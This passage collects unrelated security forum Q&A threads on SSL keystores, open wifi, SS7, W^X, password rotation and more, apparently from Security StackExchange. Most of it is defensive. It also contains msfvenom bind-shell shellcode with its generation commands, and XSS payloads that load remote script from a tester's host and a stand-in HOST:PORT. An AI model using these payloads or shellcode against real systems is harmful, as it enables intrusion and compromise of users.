The above calling pattern of inet_aton() before trying gethostbyname() is the common idiom referred to above. Given an arbitrary string in hostname, first check to see if it can be treated as a valid IP dotted-quad via inet_aton() (cheap, and low-latency), otherwise see if it is a DNS host name via gethostbyname() (not cheap, and potentially high-latency. See section 3 - Mitigating factors of the advisory.

This is how OpenSSH uses those functions also, see the wrapper getaddrinfo() in openbsd-compat/fake-rfc25553.c. That function is only enabled at compile time if the host has no native getaddrinfo() (or you fudge configure to fool it). glibc has had that function since 1996 (pre v2.0), so gethostbyname() won't be called by OpenSSH.

If your OpenSSH is built with libwrap, then the sshd binary will have some symbol dependencies for gethostbyname* because of that — Qualys claim both TCP wrappers and OpenSSH are safe (for now). The only other use of gethostbyname() in OpenSSH is in HP-UX specific code where the X DISPLAY need contain an IP rather than a hostname, not relevant here.

In the general case, since conforming DNS data cannot contain problematic long/malformed IP addresses, reverse look up and forward/reverse checks are not an attack vector. Where hostnames/dotted-quad addresses are part of a higher protocol (e.g. the SMTP EHLO name, as used exploiting Exim) then you might have something. For OpenSSH this would suggest host names in port-forwarding. Close, but no cigar, even if OpenSSH did use gethostbyname() directly:

      if (strlen(host) >= NI_MAXHOST) {
            error("Forward host name too long.");
            return 0;
      }

where NI_MAXHOST is 1025 in versions I've checked so far. This would be a less severe post-authentication attack vector in any case.


How to generate keystore for root signed certificate? I need to create keystore and truststore with root signed certificates.

I have these files (at this step they are identical for client and for server):

client_cert.pem
client_prv_key.pem
root_cert.pem
client_password lets say 12345

I will create the truststore with the client certificate.
Now I need to create keystore. I tried this:

openssl pkcs12 -export -inkey root_cert.pem -in client_cert.pem -out client.p12

This result in an error: "unable to load private key".

Next command, after creating the .p12 file is (when openssl command will end successfully):

keytool -importkeystore -srckeystore client.p12 -srcstoretype pkcs12 -destkeystore client.jks -deststoretype jks

What should be the command in order to create keystore with root-signed certificates? How should I build the .p12 file with the root signed certificate?

Also, for mutual authentication in Java truststore is required. After trying some options the correct way to build the truststore is: (12345 is client_password which I used in all places where password was required)

keytool -importcert -trustcacerts -keystore client_truststore.jks -storetype jks -storepass 12345 -file root_cert.pem

Where 12345 is client_password (which I used in all places where password was required)

Assuming your filenames are accurate, so client_cert.pem and client_prv_key.pem actually contain the client cert and privatekey respectively in PEM format:

openssl pkcs12 -export -in client_cert.pem -inkey client_prv_key.pem -certfile root_cert.pem -out client.p12
# prompts for the input-key passphrase, then the output passphrase (twice)

# to specify passphrase on commandline for client_prv_key -passin pass:xyz
# similarly passphrase on commandline for the output -passout pass:xyz
# however these make the password(s) visible in ps or similar on most OSes,
# and usually visible in your shell (or CMD) history, which is often insecure

Alternatively you can provide them all on standard input in correct order:

cat client_prv_key.pem client_cert.pem root_cert.pem | openssl pkcs12 -export -out client.p12
# same options for passphrase

PS- do NOT enter an empty passphrase for the PKCS12. OpenSSL lets you create it even though it's silly, but Java can't decrypt it which defeats your purpose.


Can open, unsecured wifi networks capture stored passwords? Say there's an open wifi network. I already know that if you try to log in, attackers may be able to steal your password. However, can attackers see stored passwords? (Not the autofill feature, but like how you don't have to log into Google every time you open a new tab.)

For example, if I log into an email account, then connect to the open wifi network, can attackers see the password?

Also, I'm fairly new to security, and I don't know if I'm using the right terminology.

If the passwords can be stolen on open Wifi depends if the password is transmitted in the first place and then if the data are transmitted in clear.

Are the data transmitted in clear?

If you use https  instead of http for all data (like in case of gmail) then the data are not transmitted in clear. This means that it is unlikely that an attacker can get access to the plain traffic, although an insecure system open to MITM attacks (like having the SuperFish certificate installed) or a user blindly ignoring certificate warnings can still lead to a successful man in the middle attack and thus to interception of unencrypted traffic.

Note also that all significant traffic must be protected with https. This not only includes the main page but also any embedded scripts or CSS. Fortunately modern browsers simply block insecure mixed content by default, i.e. don't load Javascript via http if it is included on a https page.

Is the password send at all?

Most applications today have a separate login dialog which asks for the password once per session and then only transfers the status of the specific user (i.e. logged in or not and other information) using a session ID. In this case the password can not be easily sniffed since it is not transmitted in the first place. But, the session ID is in many cases as precious as the password itself and allows an attacker to impersonate the user even if the password itself is unknown to the attacker.

And, if the attacker can sniff the traffic (i.e. no https but only http) he can often also modify the traffic. This means the attacker could modify it in such a way that the current session gets invalidated and the web applications asks again for the password. If automatic filling of passwords is enabled this might even be done without the user noticing it (depends on browser).

And then there are a few sites which don't use their own login page but instead use Basic Authentication build into browsers. In this case the username and password is transmitted inside the HTTP request header for each request and can be easily extracted if the connection is not protected.

Am I save if I don't visit the site when using an open Wifi?

No you are not. If the attacker can modify some traffic he can trick your browser into visiting any site he wants and thus get access to any passwords or session ID's transmitted in clear. And if done cleverly you might not even notice it. See for example PoisonTap for how to quickly extract information from a browser. While this specific attack makes use of Ethernet over USB it can be done the same way inside an attacker controlled Wifi (which any open Wifi might be).

Also, more complex attacks are possible like polluting the browsers cache which might result in the attacker controlling some of your browsing even if you are no longer logged into the open Wifi.

What can I do to protect myself?

Don't use open Wifi at all.

Alternatively use a VPN but make sure that the VPN is actually active from start. This might not be possible in all cases since many open Wifi require to first acknowledge their terms of service. Mobile systems like Android often detect such captive portals and handle this for you by opening the captive page in a separate browser, but on Desktops you are usually on your own. Also, some open Wifi simply block VPN traffic.


Should I hash a password if it is randomly generated The best practice is we should hash a user password using algorithms such as bcrpyt to protect the user, however, given the following conditions, is hashing in the backend still matters?

the password is randomly generated by backend with enough security factors
user will not be able to change it

Since the password is randomly generated by us, user will not be using the same password on other services like ebanking, so hashing the password really add security?

The point of hashing passwords is that if the attacker can gain access to your password file (by breaking into your server, stealing backup media, hacking your hosting provider, etc.) he/she still can't recover the password from the hash and log in as the user.


Is SS7 a threat any more? I'm reading about an SS7 issue: SS7 flaw allows hackers to spy on every conversation.

It seems to me that any phone on the world can be intercepted so the hacker can listen to your phone call or read your text message. As far as I know, google, authy provides a way to access into account through the registered phone number. So if a user is having gmail account and authy that eventually lead to a phone number, he is screwed? His online bitcoin wallet, and even his bank account may very well be compromised?

Yes.
Why do I say this? It is important to understand what all these vulnerability's are and why they exists (I will be calling the victim "subscriber"):
Why do they exists:
SS7 was designed and developed in 1975 as a protocol for telecommunication for call operating centers. Since we are talking here about 1975, the security of the protocol was not really considered in the planning. Later when mobile phones came along they needed a protocol to use and since SS7 was around and was proven to work there was no reason not to use it. So they implanted it into the GSM network architecture and added a few things (SMS, roaming and later on also mobile data).
Now lets understand the vulnerabilities:

Obtaining a subscribers location: A hacker can set up a fake HLR (Home Location Registrar) and claim that he is looking for a subscriber and send a request using the MAP messaging service (Request returns location data regarding the subscriber location and a few more things) and this data will return the Cell ID, the Mobile Country Code (MCC), Mobile Network Code (MNC) and the Location Area Code all related to the target subscribers current location. This was built so anyone wanting to communicate with the subscriber (Route a call to the subscribers location).  Note: Most of the big companies have disabled this feature and found different way to deal with MAP requests.

Retrieving subscribers SMS's:An attacker will pose as a MSC (Mobile Switching Center) and claim to have the subscriber in its network, this will result in the subscribers mobile carrier redirecting traffic meant for the subscriber to the attacker.

Put subscriber offline:
Hacker once again poses as a HLR and claims that subscriber is in his network. Since a subscriber can only be in one place at a time, this will result in disconnecting the subscriber at his current location resulting in the subscriber not having connection. This was designed so carriers can update the HLR DB regarding the subscriber's location so relevant services can be routed to the subscriber.

Conclusion:
As you can see, the SS7 protocol was designed with poor security and until it is not updated with fixes and solutions the vulnerability's will exists.
Note:

I only covered the main vulnerabilities even though there are many more.
You can read more about the vulnerabilities over here.
Many carriers have found creative ways to patch these security holes. It is fair to assume that most of them have not we can see that by the proven research's that are out there.


msfvenom -b flag not working? When using msfvenom, I am under the assumption that the following syntax should give me shellcode without \x00 \x0a \x0d or \x40, because of the -b option

msfvenom -p windows/shell/bind_tcp -b '\x00\x0a\x0d\x40' -f python

However, every shell code I get still has one of these characters in it... e.g.

buf =  ""
buf += "\xbd\xb8\x8c\x23\x17\xd9\xce\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x4a\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2"
buf += "\x4d\x70\xcb\x91\xad\x89\x0c\xfe\x24\x6c\x3d\x2c\x52"
buf += "\xe4\x6c\xe0\x11\xa8\x9c\x8b\x77\x59\x16\xf9\x5f\x6e"
buf += "\x9f\xb4\xb9\x41\x20\x79\x05\x0d\xe2\x1b\xf9\x4c\x37"
buf += "\xfc\xc0\x9e\x4a\xfd\x05\xc2\xa5\xaf\xde\x88\x14\x40"
buf += "\x6b\xcc\xa4\xeb\x27\xc1\xac\x08\xfd\xe0\x9d\x9e\x8a"
buf += "\xba\x3d\x20\x5f\xb7\x77\x3a\xbc\xf4\xce\xb1\x76\x8e"
buf += "\xd0\x13\x47\x6f\xe3\x5b\x0b\x4e\xcb\x51\x52\x96\xec"
buf += "\x89\x21\xec\x0e\x37\x31\x37\x6c\xe3\xb4\xaa\xd6\x60"
buf += "\x6e\x0f\xe6\xa5\xe8\xc4\xe4\x02\x7f\x82\xe8\x95\xac"
buf += "\xb8\x15\x1d\x53\x6f\x9c\x65\x77\xab\xc4\x3e\x16\xea"
buf += "\xa0\x91\x27\xec**\x0d**\x4d\x8d\x66\xbf\x9a\xb8\x24\xa8"
buf += "\x6f\x88\xd6\x28\xf8\x9b\xa5\x1a\xa7\x37\x22\x17\x20"
buf += "\x91\xb5\x58\x1b\x65\x29\xa7\xa4\x95\x63\x6c\xf0\xc5"
buf += "\x1b\x45\x79\x8e\xdb\x6a\xac**\x00**\x8c\xc4\x1f\xe0\x7c"
buf += "\xa5\xcf\x88\x96\x2a\x2f\xa8\x98\xe0\x58\x19\xbc\x58"
buf += "\x0f\x5b\x42\x4e\x93\xd2\xa4\x1a\x3b\xb2\x7f\xb3\xf9"
buf += "\xe1\xb7\x24\x01\xc0\xeb\xfd\x95\x5d\xe2\x3a\x99\x5e"
buf += "\x20\x69\x36\xf7\xa3\xfa\x54\xcc\xd2\xfc\x70\x65\x82"
buf += "\x6b\x0e\xe7\xe1**\x0a**\x0f\x22\x93\xcc\x85\xc8\x32\x9a"
buf += "\x31\xd2\x63\xec\x9d\x2d\x46\x66\x17\xbb\x29\x11\x58"
buf += "\x2b\xaa\xe1\x0e\x21\xaa\x89\xf6\x11\xf9\xac\xf8\x8c"
buf += "\x6d\x7d\x6d\x2e\xc4\xd1\x26\x46\xea\x0c\x00\xc9\x15"
buf += "\x7b\x90\x36\xc0\x42\x16\x4e\x66\xa7\xda"

Am I misunderstanding the -b option?

Seems like msfvenom is having a problem. I can reproduce it at my end. Will report this to the concerned people. In the mean while, you can use the combination of msfpayload and msfencode tools:

./msfpayload windows/shell/bind_tcp R | ./msfencode -e x86/shikata_ga_nai -c 3 -b '\x00\x0a\x0d\x40' t python

Update: The problem was resolved in the commit here. Please don't use msfpayload and msfencode as these are going to be deprecate shortly.


How is YouTube able to identify anonymous users? A few days ago I was searching YouTube and I noticed an "outlier" video poped up in the suggestions list. This video had nothing to do with the topic being searched, but instead it was based on a previous search that was requested from this same computer two weeks ago.

This was impressive considering the situation difficulted fingerprinting. In particular:

I was not logged, nor was any other person in this machine, to YouTube nor any other Google service.
The browser is configured in "private" mode by default, so every cookie/storage/websql/indexeddb file is deleted when it is closed. This means whatever info they stored was backed up online.
The IP changes at least once each day, so hundreds or thousands of IPs would be associated with this geographical area. I'm almost sure they can only pin it down to the city level for what I have been able to observe in Gmail's account activity page for several users in this same area.
The user agent is nothing out of the common, as the browser regularly updates to the last version. In fact, this is not 100% verified but I'm pretty sure their profiling method is somehow resistant to IP and user agent changes.
Installed plugins are the usual ones, very common as well.
Same about installed fonts and screen resolution.

In fact there are more computers in the LAN with almost the same setup (OS/browser/plugins). And they share the same IP. How were they able to identify the correct one over a two weeks period of time beats me.

Only disabling scripts for the google.com domain solved it, at the expense of not being able to read the comments.

I've visited panopticlick's site and nothing shown in the table is unique to the point of tracking an individual user over time. However the page says the fingerprint is unique among 4 million, which is a number greater than the population of the geographical area (also in the order of millions).

Questions:

Is there anything in the browser unique enough to identify a machine inside a large city, or is it the combination of several characteristics what makes identification possible?
Are Google's fingerprinting methods known? Has anyone conducted an analysis of their scripts?

This sounds like a Zombie Cookie.

There are a large number of places a web site can store state: cookies, Flash local storage, ETags, etc. When you clear your cookies, you do not necessarily clear all these places. Web sites can store an identifier in some of these other places, and track users despite them clearing their cookies.

If you use a dedicated private browsing mode, such as Chrome Incognito mode, or Firefox Private Browsing, the browser is locked down to prevent this. In particular, browser plugins are disabled, which avoids Flash local storage being an issue.

If you use standard browsing mode, and clear your history and cookies at the end of the session, you do not get the lock downs that private browsing modes provide, and you are vulnerable to Zombie cookies.


Information security point of view when registering a domain and chosing a TLD How much does the choice of the domain registrar and the TLD impact the security of my information?

I've learned that some registrars will require more personal information than others. I even had a case where a registrar demanded a copy of my ID and used the credit card.

Generally, the less information a registrar has the less information can be disclosed. What registrar is preferred considering that?

How much impact does the TLD have? Do some ccTLD benefit the privacy of the data. Are generic TLDs privacy friendlier, as they do not oblige a countries laws?

Just for clarification, I'm not talking about WHOIS Privacy, nor do I want to discuss the security of various payment methods.

I had answered TLD registration privacy here (along with WHOIS): How much can I trust domain registrars to honor Whois identity protection services?

With payment, it isn't unheard of to request a form of government issued ID. This is quite common in countries that don't have "Chip and Pin" technology.

Registrars are required to post contact information for domain owners. Each will outline how much they collect, and what they do with it. Godaddy has their legal agreement here: https://ca.godaddy.com/Agreements/ShowDoc.aspx?pageid=REG_SA


What attacks does a W^X policy prevent against? Write xor Execute (W^X) is a policy that a block (page) of memory cannot be marked as both writeable and executable at the same time.

What attacks does W^X prevent, with and without the following:

Address Space Layout Randomization (ASLR)
Data Execution Prevention (DEP)
Once-writeable, never executable - page can never be marked as executable after being marked as writeable.

W^X and "Once-writable, never executable" are both sub-cases of DEP. DEP is about making read accesses, and execution accesses, distinct (a writable page is also a readable page). W^X is about using DEP to enforce a specific policy, which is that a given page can never be writable and executable at the same time.

Compliance to the W^X policy can be required from the programmer because writing "data" and then executing it reliably entails flushing some caches, which is an explicit and expensive operation. Going through the kernel (with a mprotect() call) is not a hard way to do that. On the other hand, forcing the programmer to do such things explicitly means that it will not happen in other situations, namely when an attacker tries to exploit a buffer overflow. This is a generalization of the "stack is not executable" feature. (The buffer overflow is still there, though; W^X just makes life harder for the attacker.)

The "once-writable, never executable" policy looks suspicious to me: it is incompatible with JIT compilers. Anyway, it would be a sub-case of W^X: like W^X, in which the transition W->X is forbidden.


How to prevent XSS attacks in ASP web application In my web application, while doing the penetration testing two XSS vulnerabilities identified in some text input.

that field testing using followin cheets,

<script src="http://192.168.1.122:3000/hook.js"></script>

<svg/onload=setInterval(function(){with(document)body.
appendChild(createElement("script")).src="//HOST:PORT"},0)>

How to avoid this. have any .net library or any third party library to prevent this.pelase help me.

There are a few things to do:

HTML Encode any HTML OUTPUT
REF: https://docs.microsoft.com/en-us/dotnet/api/system.web.httputility.htmlencode?view=netframework-4.8
Implement a proper CSP. This will prevent third party remote scripts from loading like on the first payload
REF: https://content-security-policy.com/ This won't prevent XSS, but will make the script length limited to that of the field, making payload options limited.
If you have the time implement INPUT validation only allowing expected data like characters and numbers. If you have proper OUTPUT encoding this isn't even necessary, but still is advised to do. The main issue with INPUT validation is that it can be much more easily bypassed than output encoding and more mistakes usually are made here.


Making undeterminable containers inside existing file system Suppose, I have 1 disk partition (previously filled with random data) and create some file system on it (NTFS, FAT, EXT2, etc). I am going to keep some files here (i.e. visible files).

Then i create a few loobpack devices with different offsets and make some file systems on them.

The question is: can an observer determine that these hidden containers exist by the presence of the metafiles/system info of the original file system?

I've read:

FAT keeps system data in the begining and the end of partition,
NTFS keeps system data in the begining and MFT mirror in the middle of the partition.
EXT2 keeps superblocks in each block group, and there is a lot of them on the
disk.

When i fill hidden loopback devices with some data this outer file system's metadata may be erased, right?
Like in the case of NTFS MFT mirror in the middle of the partition may be erased. In the case of EXT2 superblocks may be eraised. And this will look suspicious.

How can we avoid it?

Data on hard disk has structure. That's a problem for you:

If your hidden containers don't use encryption, then inspecting the partition contents directly will show your hidden files. Such inspection is customary in forensics analysis, if only to recover parts of old files which have been deleted.
If your hidden containers use encryption, then the corresponding sectors will look random, and this will be suspicious, because "normal" filesystems don't store random data in unused sectors. The partition contents inspection expects finding some old file parts with detectable structure, and your container will show up as a statistical anomaly.

The "hidden volumes" of TrueCrypt solve that problem by being applied on a volume which is explicitly using TrueCrypt, which applies encryption on the whole partition. This allows the hidden volume to disappear into the randomish background.

As for your specific question, this is an allocation issue. If you never modify the outer filesystem, then you could do the following:

Create a sequence of 512 random bytes.
Fill the target partition with copies of that sequence.
Create the "visible" filesystem on it and put your few dummy files.
Unmount the visible filesystem, and scan again the partition: every 512-byte sector which still contains your random sequence is "untouched". You can use these sectors for your hidden container. All you need to do is to find the longest contiguous sequences of untouched sectors and mount them as loopback.

Of course, since the outer filesystem is completely unaware of your devious loopback usage, any modification to that outer filesystem may use some of your sectors: from your point of view, these sectors are for your hidden container, but from the point of view of the outer filesystem, they are free -- and that's by design. Your hidden containers are "hidden" only because nothing in the outer filesystem is aware of them.

(But this still does not solve the issues with statistical analysis, as explained above.)


Custom JavaScript injection allowed in DOM of other origins I am performing a security research on a development framework for thick client & mobile applications. The framework allows developers to inject custom JavaScript in the DOM of any origin.

This functionality is not evident to the user. As per my understanding, unless the end user has given consent to control the DOM and the data in it, the application should not perform such actions. (Explicitly stated browser like applications can be considered an exception here.)

As per my understanding, this is a security flaw. Can anyone help me understand if this is an issue or not?

I wish I could share the exact scenario with more details, but if this is a security issue then I need to disclose it to the responsible party first.

It sounds like what you're saying is that an app development framework supports injecting arbitrary scripts into webviews displaying arbitrary origins. This is nothing new; they all do this. While a malicious app written using such a framework could potentially steal sensitive information, there are several things you need to consider:

By default, the app won't have access to any sensitive data. Because the user would install an app that is independent of any other app (such as a browser), the app would start out with no cookies, stored passwords, or other credentials or session tokens. A user might choose to enter their credentials, but in that case the user is making an explicit choice to trust the app with those credentials. Whether or not the application is "browser-like" doesn't really matter here.
This is definitely not a vulnerability in the framework. Indeed, it is essential functionality for a huge number of apps. In a browser (or browser-containing) app, it might be used for ad and tracker removal, password and form auto-fill, and integration with other non-web app functionality. In a non-browser-type app, it could provide a bridge between web-based and "native" UIs, or simply be used to (legitimately) obtain the session token after a user completes an OAuth login flow (which may be the only browser-based part of an app).
Yes, it could be used maliciously, but so could any code you run (heck, there's websites that will use your browser's JS engine to try to mine cryptocurrencies for the site owner). There's no reason to privilege this particular case of "could be used maliciously" over others. Ultimately, it is the responsibility of the user to not install or run malicious apps, not of the framework developer to make it impossible to write untrustworthy apps on that framework (which is, again, impossible).


Terminology for attacks of extracting an application's shared library and using it stand-alone Let say I got a library to read/write files securely on the hard disk (encrypt before writing and decrypt to read back). If the library is severely obfuscated, attackers may be intimidated. So they may not be able to reverse to find the crypto key in the library. However they can use the library as a whole to decrypt previously encrypted files.

So as said in the title, what is the terminology used to describe the attacks of extracting an application's shared library and using it stand-alone?

Oracles

A black box component that encrypts anything you throw at it is called an Encryption Oracle.
A black box component that decrypts anything you throw at it is called a Decryption Oracle.

Actual examples of this would be your library, or an HSM (hardware security module) that does all the crypto internally.
I suggest, you buy a cheap $500 HSM and let that worry about the crypto. Contrary to a library, a HSM can not simply be copied. (But brings other headaches, like how to do backups/restores/HW-replacement.)


1Password for team how secure it is? I would like to ask you opinion about how secure is the 1Passowrd for Teams.
For someone who doesn't know how 1Password - Personal use - works here a summary:
You create a master password (hard to bruteforce it) and you encrypt all you other credentials with your master password. Everything is saved locally and noboby except of you and who ever uses your PC can access the encypted passwords. Safe and secure indeed.
However, in the case of the 1Password for Teams there is something completely different. Every encrypting passoword stored online if I can understand well.
So here a summary as well:
First of all, you setup a domain in which all the team is above this.
1Password web-server creates automatically an Account Key. Also, they say that they dont save this Account Key password.
Additionally, the creator who is the administrator of the team setups his master key.
Later, the admin sends an invite to a member by using his email.
The new member, click on the invitation link and 1Password creates him a different Account Key and after that this member creates his master account.

The actual problem is that WHERE all this encypted password as stored
?????
As I can imagine ALL the Shared and the Personal encrypted passwords
are stored in 1Password Database.  Am I correct??
How secure it that even if it is encrypted ?

If every encrypted passwords was locally, everyhting was more secure, but with online storage even if it encrypted? Should everyone who use the 1Password for Team should be cared about a hacking incident like the hacking on the LastPass? LINK

First, a brief disclaimer. I work for AgileBits, the creator of 1Password, on their security team.

1Password for Teams, as with most password managers, makes use of a "master password", the password which grants access to all of your other passwords, to create an encryption key. That encryption key is then used to encrypt everything else you store.

Unlike other password managers, it makes use of an additional secret - a 128+ bit randomly generated "account key". The Master Password and Account Key are used to perform 2-Secret Key Derivation, in which the "master unlock key" (MUK) -- the key which protects all of your passwords -- is based on the entropy from both of those. So, if your Master Password contains 60 bits of entropy -- which isn't particularly high, but is a nice example value -- the MUK has at least 188 bits of entropy.

AgileBits has access to neither of those values - we don't have your Master Password and we don't have your Account Key. None of the random numbers which are used as encryption keys are ever generated by AgileBits either, so we aren't in a position to have any of your encryption keys.

To the point that was made in an earlier answer, even if your Master Password is disclosed, the Account Key must still be obtained, and it provides over 128 bits. This means that an attacker must make 2^127 trials, on average, to guess your Account Key. In short, if I told you that my Master Password is "fast cars are fun", you'd have an insurmountable computation - enumerating 2^127 possible Account Key values - ahead of you. Just that step - enumerating 2^127 possible values - is beyond the capabilities even of State actors (governments).

Being that secure has its downsides, and we have created a mechanism which protects you from us, and us from attackers, and minimizes the risk that you will lose all of your information. Because we don't have any of the secrets required to access your information, we cannot "reset" your password or allow you to create a new Master Password if you've forgotten it. This prevents us from abusing a "password reset" mechanism and gaining access to your information, whether for our own advantage or at the behest of a government entity. And if we can't get to your secret information to abuse or disclose it, hackers are going to leave us alone (so the theory goes) because they also cannot get your secrets from the data we have.

Our innovative solution to the "password reset" problem is called the Recovery Group. The Recovery Group is one or more members on your team who have encrypted access to all of the encryption keys used by the various team members. We also don't have access to the encryption keys used to encrypt the recovery keyset, so we can't abuse that either.

Not only can we (or an attacker) not gain access to your encryption keys, we cannot gain access to the mechanism needed to restore access to those keys, if a user loses their Master Password and/or Account Key.

For more information, please read our security page. It also links to the security design white paper which includes significantly more information.


Can't Download Burp's CA Certificate from http://burp I was trying to download burp's CA certificate for Firefox on Kali from http://burp as specified in its documentation but the site is not available. It redirects me to http://www.inert.com/. So is there any alternative to download the certificate?

These are your options:

http://burp - it failed for you for some reason
http://localhost:8080/ - or your burp proxy address and port
Proxy > Options > Import / Export CA Certificate > Export in your preferred format and append the correct file extension


How often, if at all, should I rotate my passwords? In the course of my computer working I daily use dozens of username/passphrase pairs. Within the limits of my understanding and restrictions I apply the best practices for security. Unfortunately I have limitations on my abilities to employ some measures. I am often using the Internet in high-risk situations, such as on a public computer, or some other device not under my control, and using open public WiFi networks.

Some of the measures I employ are:

Never use the same passphrase for two purposes
Never reuse a passphrase, or minor modifications of prior passphrases
Personal minimum of 14 characters, unless the environment restricts it to less
Limit characters to 7-bit ASCII printable (guaranteed to be typeable anywhere)
Include all four complexity groups (upper/lower alpha, numeric, punctuation/special)
Don't use words, even converted with character substitutions, i.e.: password as p4s5w0rd
Passphrases have no reference to the username or their purpose
Security questions, or reset questions, have fake answers (treated like a second passphrase)
Don't use any information which relates to me, my life, or my past, as material for passphrases
PGP keys are created, or renewed, on an air-gaped box, and the primary private key never leaves there
Exported PGP keys have their passphrase changed before exporting
PGP keys have a short life, expiry dates typically in a six month window
Most importantly, nothing I create, including hints, is written/saved anywhere except in my cranium
System generated recovery phrases (such as for crypto wallets) are saved in encrypted storage only

Some of my limitations are:

Unreliable access to SMS
Lack of ability to install authenticator apps
Inability to rely on password keepers

My limitations, and exposures, are non-negotiable. I'm well aware of the arguments for (and against) password keepers, 2FA, physical keys, etc., and they are not germane here as they simply are not available as a solution for me.

I am also aware of the argument against a policy of password rotation forced on users by the system, or management. The chief point being that employee John Q. Public might pick a good passphrase originally, but then change it each time it is required by adding on a rotating, or incrementing, part. Thus, SuperDuperSecret becomes SuperDuperSecret2018, SuperDuperSecret2019, SuperDuperSecret2020 ..., or MyGoodPhrase becomes the rotating set of MyGoodPhraseMar, MyGoodPhraseJun, MyGoodPhraseSep, MyGoodPhraseDec. In my case the argument is spurious as it is not a policy I'm required to follow, but one I'm choosing to apply; and the simple modifications that it commonly triggers in users does not applied in my case, as I know, and want, better.

The question I am asking is not What measures can I employ for security? The question is should I continue to do password rotation at all, and how often should I rotate my passwords? The how often presumes medium sensitivity with reduced frequency for low-risk or lower sensitivity (account on PcPartsPicker, for example), and increased frequency for high-risk or highly sensitive accounts (my bank account, for example). A suspected compromise, of course, has a frequency of now, as soon as the breach is reported, or suspected.

This is not a trivial concern either, as the last time I did a reset across the board, online and local passphrases, it was a three-day long event.

This also could affect how I apply requirements on passwords for users on systems and sites I maintain, and client access to services.

Quick answer: You shouldn't bother rotating a password unless stolen.

These days even the NIST has dropped its recommendation about password rotation.  In short, the biggest danger for passwords is reuse.  If you are exclusively using strong unique passwords then you have no reason to change it unless you know (or suspect) it has been compromised.


SMTP security regarding sending username and password Recently I've been studying SMTP and I've wrote a program that uses socket programming to send emails via extended SMTP (RFC2554).
As I understand, in this protocol one sends base64 encoded strings of username and password to the mail server. But since base64 encoding is not encryption, how can I ensure my username and password are not intercepted? What is the solution in practice?

This is why these credentials should only be sent over an SMTP connection secured with SSL/TLS (usually on port 465) or STARTTLS (usually on port 587).  See an example of how this is done using openssl s_client at https://www.stevenrombauts.be/2018/12/test-smtp-with-telnet-or-openssl/


How I rescue my hardware from a Trojan I got some hardware from China that comes with a RAR archive containing a "driver installer" exe, as well as a file, lpk.dll, which appears to be a Trojan that infects RAR files.

I'm now quite concerned about installing the drivers, but I would like to use the hardware. Is there a way I can set up the divers without infecting my computer? Is it sufficient to just remove the file?

Temporary note: I also have a spare, if anyone is interested!!!

That depends on the sophistication of the attack.

The likely scenario is that the vendor just added a malicious file to the driver archive. You could search for compatible drivers online to obtain a trusted version of the software and you'd be fine. (Does that piece of hardware actually need that custom driver or can you just use it without installing extra software?)

The bad case scenario is that the vendor went one step further and also modified the firmware of the device. That's something you can't easily verify and your only option would be dumping driver and hardware altogether. The BadUSB project was a good demonstration of how straightforward it is to hide malware in the firmware of peripherals, in that case reprogramming the controller chips of USB devices.

Most members of Sec.SE would probably advise you to assume the latter and not use the hardware at all. I'd say it depends on the situation and type of hardware on which you didn't give additional info.


Does the EICAR test work on Linux based antivirus scanners? Does the EICAR antivirus test work on antivirus scanners for Linux?  The EICAR test is described in more detail here:
http://en.wikipedia.org/wiki/EICAR_test_file

The reason I ask is that it requests the EICAR file to be a .COM file, which is specific to Microsoft as far as I am aware.  Should Linux antivirus software still pick this up though since it is a standardized test?

EICAR is so simple it doesn't need any Windows COM files or anything !

Have you actually looked at the EICAR code ?  Its all self contained in one tiny file.

As for

  why would Linux antivirus need to look for a Windows virus?

Lots of people use Linux machines as servers (mail,web,file etc.) ... all of which may serve Windows clients.  Seems fairly obvious to me why you would want an AV scanner with a decent detection library.

Quite frankly, I would publicly name and shame any anti-virus software that only detects linux "viruses" ... it would be a waste of space and resources on your Linux machine.


Convert RSA SSH public key file into x509 certificate I have a RSA SSH public key which I have converted from a x509 certificate and I want to be able to convert the SSH key back into a x509 certificate to compare the values with the original certificate.

How would I got about doing this? And is this even possible to do with only the public key?

Thanks.

It is not possible to create a certificate out of the public key on the way you chose.

A certificate is a public key signed by an authority (normally a CA). So to create the certificate back from you public key you have to sign the public key from the same authority as before. Then you will get the certificate back.

To sign you need the private key of the authority. Also be aware that you new certificate willget another seriall number than before.


Is providing authentication data for other web applications unsecure? I started to work on a company whose software engineers tried to reinvent everything. They did not use(or know) industry standarts and for authentication, they use their custom solution. Their "solution" seems to me as very unsecure but I can not prove them.

Their single sign-on solution is like that. They have a web application(portal), everyone authenticate portal with username and password. When they want to access company's other web applications, they have to click Urls on portal that point to other web sites. Portal appends a query string to Urls.

Query string includes a secret data generated from passwords that lie on shared database . When other web apps' login page accept those query strings, it decrypt the secret data and compare it with passwords on database. If those values are equal than forwarded web application authenticate user. They uses their own authorization rules per application. They say that produced links are only usable once and it expires in 24 hour.

I think there are security vulnerabilities.

They use reversable password that can be decrypted easily.
Their produced query string can be seen on web history easily and
can be used if first time user can not connect.
I suspect they do not salt secret value, probably secret data can be used again.

Are there any other apparent security vulnerabilities that I do not know yet. I have to persuade them with exact threats

I started to work on a company whose software engineers tried to reinvent everything

Does this mean all things they are not using frameworks, coding standards, policies, procedures?  How do you know this?  What is your position in this?

  They did not use(or know) industry standards and for authentication

What do you mean by this?

protocol (LDAP, SAML, etc)?
framework (PHP:code igniter, NodeJS, etc)?
libraries? (JQuery, etc)
coding guidelines (CamelCase variables, etc)?
philosophy (KISS, etc)?

Are they even interested in security?
Is the data in the application valuable or worth protecting?

  I think there are security vulnerabilities

There may be.

But maturing development processes will get more bang for buck, acceleration in productivity, and as a byproduct catch vulnerabilities and bugs as everyone synchronises into 'doing the same thing' together.

Maturing processes can take time and a roadmap.


Secure single page in a site if site is hacked? I've been tasked with trying to find a way to secure a single page in our site if somehow, a hacker gets access to our files.  This "single page" will be run on a different server.

Requirements:

Show the user something that lets them know they are definitely viewing the right page

That's about it actually.

The idea being that during a process in our site, the user would navigate to this page, see something that lets them know "you are really at the page you want".  That "something" could even be a url that points to a specific server running SSL.

However, I can't really think of any full-proof system to handle this.  If somehow a hacker has access to what our website is serving, I feel like they could change anything, even going to an https: url in a new browser window for that page could be spoofed couldn't it? (edit: This is an important question.  Could they somehow spoof the url "https://secure.ourwebsite.com" if they hack the main website at "http://main.ourwebsite.com"?  Would the browser inform the user that they were actually going to the wrong url?)

Is this an impossible task?

edit
One potential idea would be something like this:
